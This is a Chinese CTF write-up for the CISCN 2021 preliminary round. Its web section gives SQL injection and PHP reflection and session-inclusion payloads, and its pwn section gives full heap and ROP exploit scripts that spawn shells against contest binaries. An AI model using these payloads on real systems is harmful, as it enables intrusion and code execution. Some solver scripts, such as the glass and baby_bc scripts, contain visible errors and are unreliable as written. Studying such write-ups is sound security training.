【CISCN2021】第十四届全国大学生信息安全竞赛初赛-writeup

这一次比赛分为三张“卷子”,我就直接归在一起吧

Misc

tiny traffic

打开流量包
在这里插入图片描述
根据文件和题目描述,我们直接导出http对象
在这里插入图片描述
可以看到,列表里面含有gzip和br文件,Gzip是一种压缩文件格式并且也是一个在类 Unix 上的一种文件解压缩的软件,BR文件是使用Brotli(一种开源数据压缩算法)压缩的文件
导出来后对这几个gzip和br文件解压缩,先看看flag_wrapper
在这里插入图片描述并没有啥实质性的内容
看看test和secret
在这里插入图片描述
对test的内容进行查找了解到
在这里插入图片描述
解压secret查看
在这里插入图片描述
通过这两个文件,我们猜测是利用protobuf序列化后得到了test
先配置proto3环境,GitHub可以下载,安装好protobuf模块:
pip3 install protobuf
将test文件加上后缀得到test.proto ,移动到Protocol Buffers 的bin目录,将secret也移动到bin目录
运行:.\protoc.exe --python_out=.\ test.proto
得到test_pb2.py
写个反序列化脚本:

import test_pb2

with open('./secret','rb') as f:
    data = f.read()
    target = test_pb2.PBResponse()
    target.ParseFromString(data)
    print(target)

python运行
在这里插入图片描述
可以看到内容上有两个flag_part需要hex转换一下,转换后按顺序拼接一下flag
即:CISCN{e66a22e23457889b0fb1146d172a38dc}

running_pixel

解压后得到一个GIF动画
利用ffmpeg分帧

ffmpeg -i ./running_pixel.gif ./photo1/%d.png

在这里插入图片描述
得到382张图片

一张一张点开来看了看,发现被分解后的图片后部分放大有白点看了看白点的rgb为(233,233,233)
在这里插入图片描述
将白点的RGB设置为(233,233,233),获取每个图的点,然后重新生成一次图片

from PIL import Image

t = Image.new('L',(400,400))
for i in range(382):
    q = Image.open(str(i)+'.png').convert("RGB")
    m,n = q.size
    for a in range(n):
        for b in range(m):
            if q.getpixel((b,a)) == (233,233,233):
                t.putpixel((a,b),255)
t.save('./'+str(i)+'.png')

在这里插入图片描述
转换成功后,图片上的字符就很清晰了,一张一张点下去就会看到每一个生成字符出现的顺序,记下来,CISCN{12504D0F-9DE1-4B00-87A5-A5FDD0986A00},尝试提交,发现错误,改成小写就对了CISCN{12504d0f-9de1-4b00-87a5-a5fdd0986a00}

隔空传话

搜索知道这个是 合宙Luat 的PDU编码

PDU编码解码
发现这个站是前端js加密,写脚本,尝试几行后发现格式有时间戳,猜测是按照时间戳排序,有思路写个脚本

const fs = require("fs");

const data = fs.readFileSync("a.txt").toString().split("\n").slice(4);

let da = [];

data.forEach((v) => {
  const data = pduDecoder(v);
  const d = data.find((v) => v.startsWith("User Data\t")).slice(10);
  let t = data.find((v) =>
    v.startsWith("(hideable)Service Centre Time Stamp\t")
  ).slice("(hideable)Service Centre Time Stamp\t".length);
  t = new Date(t)
  da.push([d, t]);
});

da = da.sort((a, b) => a[1] - b[1]);

console.log(da.map(v=>v[0]).join(''))

再加上站本身的1500+行js得到js脚本,批量得到一张png图片的hex,放到010里面得到png
尝试爆破宽高无解,脑洞是一开始的 w465 脑洞宽为465,得到一张png写了xx_b586_4c9e_b436_26def12293e4
加上得到的一开始提取出的电话15030442连起来得到:
CISCN{15030442_b586_4c9e_b436_26def12293e4}

Web

easy_sql

打开是一个登录的表单
在这里插入图片描述
用户名处输入一个单引号,报错
在这里插入图片描述
通过报错信息可以得知sql语句是由’)闭合的,抓包测试,发现存在过滤,fuzz一下被过滤掉的东西
在这里插入图片描述
使用报错注入可以得到数据库名为security
在这里插入图片描述
使用sqlmap通过爆破找到两个表,名为users和flag,flag不在users表,猜测在flag表中,由于information和mysql被过滤,可以使用别名的方式查询列名。
admin’)and multipoint((select * from (select * from flag as a join flag as b)as c));#
得到第一个字段为id
在这里插入图片描述
admin’)and multipoint((select * from (select * from flag as a join flag as b using(id))as c));#
得到第二个字段为no
在这里插入图片描述
admin’)and updatexml(1,concat(0x7e,(select*from (select * from flag as a join flag b using(id,no))c),0x7e),1)#
得到第三个字段为883f62d8-9d3a-472b-9efb-f2cd6ddf010f
在这里插入图片描述
Sqlmap 指定跑883f62d8-9d3a-472b-9efb-f2cd6ddf010f字段的内容
在这里插入图片描述
在这里插入图片描述

Easy_source

在这里插入图片描述
发现存在备份文件.index.php.swo
访问http://124.70.45.83:22036/.index.php.swo得到代码
在这里插入图片描述
在这里插入图片描述
根据提示,猜测flag在注释中,想到可以通过php中的反射机制,获取文档注释
因此payload为:

?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment

在这里插入图片描述

middle_source

目录扫描,得到一个.listing的文件
访问,发现you_can_seeeeeeee_me.php
在这里插入图片描述
得到phpinfo,发现session文件保存的路径为/var/lib/php/sessions/egbjfcahga
在这里插入图片描述
Php版本为7.4.3,猜想存在session文件包含
PHP_SESSION_UPLOAD_PROGRESS来初始化session,且会把上传文件的信息记录在session文件中,文件结束后清除存储上传文件信息session文件,可以使用不断请求的方式来达到条件竞争的目的回显结果
题目提示了flag在/etc目录下

在这里插入图片描述
不断查看下一层目录,最终找到/etc/jefgccdece/iifgcejhed/bdfbghiaeg/cdfecaaach/idahceeidc/fl444444g
使用readfile读取,得到flag
在这里插入图片描述

Reverse

glass

其实就是 RC4+简单的异或加密
逻辑都在native层,解密脚本如下:

from Crypto.Cipher import ARC4
re = [0xA3, 0x1A, 0xE3, 0x69, 0x2F, 0xBB, 0x1A, 0x84, 0x65, 0xC2, 0xAD, 0xAD, 0x9E, 0x96, 0x05, 0x02, 0x1F, 0x8E, 0x36, 0x4F, 0xE1, 0xEB, 0xAF, 0xF0, 0xEA, 0xC4, 0xA8, 0x2D, 0x42, 0xC7, 0x6E, 0x3F, 0xB0, 0xD3, 0xCC, 0x78, 0xF9, 0x98, 0x3F]

key = b"12345678"
rc4 = ARC4.new(key)
key = list(key)
for i in range(39):
    res[i] ^= key[i % 8]

for i in range(0, 39, 3):
    tmp0 = res[i]
    tmp1 = res[i+1]
    tmp2 = res[i+2]
    re[i] = tmp1 ^ tmp2
    re[i+2] = tmp0 ^ res[i]
    re[i+1] = res[i+2] ^ tmp2

print(rc4.decrypt(bytes(res)))

baby_bc

先用 clang 编译文件
clang baby.bc -o baby
在这里插入图片描述
然后用IDA反编译出 baby 文件
在这里插入图片描述
然后就可利用z3写出脚本

  z3 import *
from hashlib import md5

row = [[0x00, 0x00, 0x00, 0x01],[0x01, 0x00, 0x00, 0x00], [0x02, 0x00, 0x00, 0x01], [0x00, 0x00, 0x00, 0x00], [0x01, 0x00, 0x01, 0x00]]
col = [[0x00, 0x00, 0x02, 0x00,0x02], [0x00, 0x00, 0x00, 0x00, 0x00], [0x00, 0x00, 0x00, 0x01, 0x00], [0x00, 0x01, 0x00, 0x00, 0x01]]
s = Solver()

map = [[Int("x%d%d"%(i, j)) for i in range(5)] for j in range(5)]
print(map)
s.add(map[2][2] == 4)
s.add(map[3][3] == 3)
for i in range(5):
    for j in range(5):
        s.add(map[i][j] >= 1)
        s.add(map[i][j] <= 5)
for i in range(5):
    for j in range(5):
        for k in range(j):
            s.add(map[i][j] != map[i][k])
for j in range(5):
    for i in range(5):
        for k in range(i):
            s.add(map[i][j] != map[k][j])
for i in range(5):
    for j in range(4):
        if row[i][j] == 1:
            s.add(map[i][j] > map[i][j+1])
        elif row[i][j] == 2:
            s.add(map[i][j] < map[i][j+1])
for i in range(4):
    for j in range(5):
        if col[i][j] == 2:
            s.add(map[i][j] > map[i+1][j])
        elif col[i][j] == 1:
            s.add(map[i][j] < map[i+1][j])

answer = s.check()
print(answer)
if answer == sat:
    print(s.model())
    m = s.model()
    flag = []
    for i in map:
        for j in i:
            flag.append(m[j].as_long())
    for i in range(len(flag)):
        flag[i] += 0x30
    flag[12] = 0x30
    flag[18] = 0x30
    flag = bytes(flag)
    print(flag)
    
    print(md5(flag).hexdigest())

Pwn

Pwny

Write越界写,连续两次写fd使其为0,进而进行任意位置读写。

from pwn import *

p = process("./pwny")
#p = remote("",)

p.recvuntil("Your choice: ")
p.sendline(str(2))
p.recvuntil("Index: ")
p.sendline("256")
p.recvuntil("Your choice: ")
p.sendline(str(2))
p.recvuntil("Index: ")
p.sendline("256")
p.recvuntil("Your choice: ")
p.sendline(str(1))
p.recvuntil("Index: ")
p.send(p64(0xffffffffffffffe7))
p.recvuntil("Result: ")
libc_base=int(p.recvline()[:-1],16)-0x80aa0
print("libc_base:"+hex(libc_base))
exit_hook=libc_base+0x619f68
gadget_addr=libc_base+0x10a41c
environ_addr=libc_base+0x3ee098
print("environ_addr:"+hex(environ_addr))
p.recvuntil("Your choice: ")
p.sendline(str(1))
p.recvuntil("Index: ")
p.send(p64(0xfffffffffffffff5))
p.recvuntil("Result: ")
base_addr=int(p.recvline()[:-1],16)-0x202008
print("base_addr:"+hex(base_addr))
p.recvuntil("Your choice: ")
p.sendline(str(1))
p.recvuntil("Index: ")
p.send(p64((environ_addr-base_addr-0x202060)//8))
p.recvuntil("Result: ")
ret_addr=int(p.recvline()[:-1],16)-0x120
print("ret_addr:"+hex(ret_addr))
p.recvuntil("Your choice: ")
p.sendline(str(2))
p.recvuntil("Index: ")
p.sendline(str((ret_addr-base_addr-0x202060)//8))
p.send(p64(gadget_addr))
p.interactive()

在这里插入图片描述

Gamewp

移动时未识别边界导致的越界写,进而劫持tcache等。ROP进行ORW
在这里插入图片描述
Exp:

from pwn import *
from ctypes import *

p=process("./game")
libc=cdll.LoadLibrary("./libc-2.27.so")
#p=remote("124.70.45.83",22327)

height=0x20
wide=0x10

def sendcmd(cmd):
    p.recvuntil("cmd> ")
    p.send(cmd)

def setup(l,w):
    cmd="w:"+str(w)+"\nl:"+str(l)+"\nop:1\n\n"
    sendcmd(cmd)

def addnode(idx,size,info):
    cmd="id:"+str(idx)+"\ns:"+str(size)+"\nop:2\n\n"
    sendcmd(cmd)
    p.recvuntil("desc> ")
    p.send(info)
    return [libc.rand()%wide,libc.rand()%height]

def delete(idx):
    cmd="id:"+str(idx)+"\nop:3\n\n"
    sendcmd(cmd)

def show():
    cmd="op:4\n\n"
    sendcmd(cmd)

def down(idx):
    cmd="id:"+str(idx)+"\nop:5\n\n"
    sendcmd(cmd)

def up(idx):
    cmd="id:"+str(idx)+"\nop:6\n\n"
    sendcmd(cmd)

def left(idx):
    cmd="id:"+str(idx)+"\nop:7\n\n"
    sendcmd(cmd)

def right(idx):
    cmd="id:"+str(idx)+"\nop:8\n\n"
    sendcmd(cmd)

def move(idx,x1,y1,x2,y2):
    if(x1 > x2):
        for i in range(x1 - x2):
            left(idx)
    elif(x1 < x2):
        for i in range(x2 - x1):
            right(idx)
    for i in range(y2 - y1):
            up(idx)

setup(height,wide)
addnode(1,0x4f0,"a")
addnode(2,0x1f0,"a")
delete(1)
addnode(1,0x90,"a" * 8)
show()
p.recvuntil("a" * 8)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - 0x3ebe30
syscall_addr=libc_base+0xE5995
environ_addr=libc_base+0x3ee098
pop_rdi=libc_base+0x2155f
pop_rdx_rsi=libc_base+0x130889
pop_rax=libc_base+0x43a78
delete(1)
addnode(1,0x100,"a")
addnode(4,0x200,"a")
delete(1)
for i in range(6):
    x2=i
    y2=0x21
    idx=environ_addr%0x100
    environ_addr=environ_addr // 0x100
    pos=addnode(idx,0x110,"test")
    x1=pos[0]
    y1=pos[1]
    move(idx,x1,y1,x2,y2)
    delete(idx)
addnode(1,0x100,"a")
addnode(3,0x100,"a")
show()
p.recvuntil("3:")
p.recvuntil(") ")
stack_addr=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - 0x509
ret_addr=stack_addr

delete(1)
delete(4)
for i in range(6):
    x2=i
    y2=0x32
    idx=stack_addr%0x100
    stack_addr=stack_addr // 0x100
    pos=addnode(idx,0x110,"test")
    x1=pos[0]
    y1=pos[1]
    move(idx,x1,y1,x2,y2)
    delete(idx)
addnode(1,0x200,"a")
rop=p64(pop_rdi)+p64(ret_addr+0xc0)+p64(pop_rdx_rsi)+p64(0) * 2+p64(pop_rax)+p64(2)+p64(syscall_addr)+p64(pop_rdi)+p64(3)+p64(pop_rdx_rsi)+p64(0x100)+p64(ret_addr+0xc0)+p64(pop_rax)+p64(0)+p64(syscall_addr)+p64(pop_rdi)+p64(1)+p64(pop_rdx_rsi)+p64(0x100)+p64(ret_addr+0xc0)+p64(pop_rax)+p64(1)+p64(syscall_addr)+b"./flag\x00"
addnode(3,0x200,rop)

p.interactive()

Lonelywolf

#coding=utf-8
import os
import sys
from pwn import *


context.arch = 'amd64'
#context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'

db_t =	lambda : raw_input()
rl_t =	lambda : p.recvline()
ru_t =	lambda s: p.recvuntil(s)
sl_t =	lambda s: p.sendline(s)
sd_t =	lambda s: p.send(s)
sa_t =	lambda s1, s2: p.sendafter(s1, s2)
sl_ta =	lambda s1, s2: p.sendlineafter(s1, s2)
heap =	lambda s : success("heap_addr -> " + hex(s))
leak =	lambda s1, s2: success(s1 + "->" + hex(s2))
base =	lambda s: success("libc_base -> " + hex(s))
stack = lambda s: success("stack_addr -> " + hex(s))

def init():
	global p
	global elf
	global libc
	execve = "./lonelywolf"

	elf = ELF(execve)
	if sys.argv[1] == '2':
		p = process(execve)
		libc = elf.libc
	
	if sys.argv[2] == '1':
		gdb_t.attach(p)

	if sys.argv[1] == '0':
		ip = "124.70.62.4"
		port = "26468"
		p = remote(ip, port)

def pwn_s():
	
	def add(size):
		p.sendlineafter("Your choice: ", '1')
		
		p.sendlineafter("Index: ", '0')
		p.sendlineafter("Size: ", str(size))
	
	def edit(content):
		p.sendlineafter("Your choice: ", '2')
		
		p.sendlineafter("Index: ", '0')
		p.sendafter("Content: ", content)
	
	def show():
		p.sendlineafter("Your choice: ", '3')

		p.sendlineafter("Index: ", '0')
	
	def free():
		p.sendlineafter("Your choice: ", '4')
		
		p.sendlineafter("Index: ", '0')
	
	
	add(0x68)
	
	free()
	edit('aaaaaaaaaaaaaaaaaa' + '\n')
	free()

	for i in range(10):
		add(0x78)
		edit(p64(0x21)*2*7 + p64(0x21))
	
	add(0x78)
	edit(p64(0x21)*2*7 + p64(0x21))

	for i in range(6):
		free()
		edit(p64(0x21)*2*7 + p64(0x21))
	
	free()
	show()
	
	ru_t("Content: ")
	heap_leak = u64(p.recvline()[:-1].ljust(8, '\x00'))
	leak("heap_leak", heap_leak)
	
	add(0x68)
	edit(p64(heap_leak - 0x570 + 0x20) + '\x00'*0x10 + p64(0x501) + '\n')
	
	add(0x68)
	add(0x68)
	free()
	
	show()
	ru_t("Content: ")
	libc_leak = u64(p.recvline()[:-1].ljust(8, '\x00'))
	leak("libc_leak", libc_leak)
	
	libc = ELF("./libc-2.27.so")
	libc_base = libc_leak - (0x7faa8256dca0 - 0x7faa82182000)
	leak("libc_base", libc_base)

	#tcache bin attack
	add(0x78)
	edit(p64(libc_base + libc.sym['__free_hook']) + '\n')
	
	add(0x78)
	add(0x78)
	
	one = [0x4f3d5, 0x4f432, 0x10a41c]
	edit(p64(libc_base + one[2]) + '\n')
	
	add(0x58)
	edit('/bin/sh\0' + '\n')
	free()
	
	p.interactive()
	
if __name__ == '__main__':
	init()
	pwn_s()

Crypto

RSA

已知p高位攻击

参考链接:

https://weichujian.github.io/2020/05/27/rsa%E5%B7%B2%E7%9F%A5%E9%AB%98%E4%BD%8D%E6%94%BB%E5%87%BB1/

https://github.com/comydream/CTF-RSA/blob/608ec29dc363ca534522c1a899cc86b0ffb1ec95/%E5%8A%A0%E5%AF%86%E6%8C%87%E6%95%B0/copperSmith%E9%83%A8%E5%88%86%E4%BF%A1%E6%81%AF%E6%94%BB%E5%87%BB/rsa2.sage
脚本如下:

p_3 = 7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902
n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147

bits = 512
kbit = bits - p_3.nbits()
print p_3.nbits()
p_3 = p_3 << kbit

PR.<x> = PolynomialRing(Zmod(n))
f = x + p_3
x0 = f.small_roots(X=2^kbit, beta=0.4)[0]
print "x: %s" %hex(int(x0))

p = p_3+x0
print "p: ", hex(int(p))
assert n % p == 0
q = n/int(p)
 
print "q: ", hex(int(q))

后面就是常规的RSA解密,得到:

b’\nO wild West Wind, thou breath of Autumn’s being,\nThou, from whose unseen presence the leaves dead\nAre driven, like ghosts from an enchanter fleeing,\nYellow, and black, and pale, and hectic red,\nPestilence-stricken multitudes: O thou,\nWho chariotest to their dark wintry bed\n’

Md5加密就能得到flag。

  • 4
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 13
    评论
评论 13
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值